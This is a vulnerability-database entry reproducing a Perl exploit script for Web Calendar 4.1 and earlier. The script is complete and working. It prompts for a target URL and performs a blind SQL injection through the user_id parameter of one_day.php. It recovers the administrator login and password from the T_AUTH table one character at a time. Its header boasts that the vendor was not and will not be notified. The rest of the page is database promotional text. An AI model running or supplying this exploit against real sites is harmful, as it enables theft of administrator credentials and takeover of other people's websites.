Lucene search
K

Web Calendar <= 4.1 Blind SQL Injection Exploit

🗓️ 23 Apr 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 14 Views

Web Calendar <= 4.1 Blind SQL Injection Exploit. Exploits an insecure MySQL query in Web Calendar version 4.1 to retrieve admin detail

Code

                                                #!/usr/bin/perl

use strict;
use LWP::Simple;

print &quot;-+--&#91; Web Calendar &lt;= 4.1 Blind SQL Injection Exploit &#93;--+-
&quot;;
print &quot;-+--                                                   --+-
&quot;;
print &quot;-+--           Discovered &amp;&amp; Coded By t0pP8uZz         --+-
&quot;;
print &quot;-+--             Discovered On: 24 April 2008          --+-
&quot;;
print &quot;-+--                                                   --+-
&quot;;
print &quot;-+-- Web Calendar suffers from a insecure mysql query  --+-
&quot;;
print &quot;-+--  the vendor has not been notified.. and wont be.. --+-
&quot;;
print &quot;-+--                                                   --+-
&quot;;
print &quot;-+--          Exploit tested in ActivePerl             --+-
&quot;;
print &quot;-+--                                                   --+-
&quot;;
print &quot;-+--&#91; Web Calendar &lt;= 4.1 Blind SQL Injection Exploit &#93;--+-
&quot;;

print &quot;
Enter URL (ie: http://site.com/webcal/): &quot;;
	chomp(my $url=&lt;STDIN&gt;);
	
print &quot;

Injecting Please Wait..

&quot;
	
my $lop = 1;
my $num = 48;
my $sub = 1;
my $res = undef;
my $content = undef;

while($lop) {

	$content = get($url.&quot;/one_day.php?user_id=1 AND ASCII(SUBSTRING((SELECT CONCAT(login,char(58),password,char(94)) FROM T_AUTH WHERE role_id=1 LIMIT 0,1),&quot;.$sub.&quot;,1))=&quot;.$num.&quot;/*&quot;);
	
	if($content !~ /you are not in database/i &amp;&amp; $num == 94) { $lop = 0; }
	elsif($content !~ /you are not in database/i) { $res .= chr($num); $num = 48; $sub++; print $res.&quot;
&quot;; }
	else { $num++; }
}

print &quot;
Exploit Successfull! Admin Details Are: &quot;.$res;

# Coded by t0pP8uZz

# sebug.net
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Apr 2008 00:00Current
7.1High risk
Vulners AI Score7.1
14